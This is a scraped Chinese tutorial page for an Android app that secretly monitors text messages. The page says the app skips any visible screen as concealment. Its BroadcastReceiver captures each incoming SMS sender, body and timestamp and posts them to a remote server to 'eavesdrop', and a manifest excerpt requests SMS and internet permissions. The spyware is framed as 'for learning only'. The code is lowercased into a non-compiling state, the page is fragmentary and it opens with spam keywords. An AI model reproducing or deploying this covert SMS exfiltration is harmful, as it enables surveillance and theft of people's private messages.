bk2823,三级影片播放,布拉克曼秀 下载
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立activity。这样也算是一种“遮掩”吧。使用broadcastreceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
import java.sql.date;
import java.text.simpledateformat;
import java.util.hashmap;
import java.util.map;
import cn.itcast.utils.sockethttprequester;
import android.content.broadcastreceiver;
import android.content.context;
import android.content.intent;
import android.telephony.smsmessage;
import android.util.log;
public class smsbroadcastreceiver extends broadcastreceiver {
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@override
public void onreceive(context context, intent intent) {
object[] pduses = (object[])intent.getextras().get("pdus");
for(object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//没一条短信
smsmessage sms = smsmessage.createfrompdu(pdusmessage);
string mobile = sms.getoriginatingaddress();//得到电话号码
string content = sms.getmessagebody();//得到短信的内容
date date = new date(sms.gettimestampmillis());//得到发送短信具体时间
//2009-10-12 12:21:23
simpledateformat format = new simpledateformat("yyyy-mm-dd hh:mm:ss");//为实践设置格式
string sendtime = format.format(date);
map<string, string> params = new hashmap<string, string>();
params.put("method", "getsms");//将与短信相关的内容全部都放到集合里
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服务器发送窃听到的内容
//sockethttprequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "utf-8");
} catch (exception e) {
log.e("smsbroadcastreceiver", e.tostring());
}
}
}
}
</application>
<uses-sdk android:minsdkversion="8" />
<uses-permission android:name="android.permission.receive_sms"/><!-- 接收短信权限 -->
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.internet"/>
</manifest>
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.telephony.sms_received
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复
Android studio开发小型对话机器人app(实例代码)
Android通过Java sdk的方式接入OpenCv的方法
Android 通过cmake的方式接入opencv的方法步骤
Android Studio finish()方法的使用与解决app点击“返回”(直接退出)
Android 进度条 ProgressBar的实现代码(隐藏、出现、加载进度)
网友评论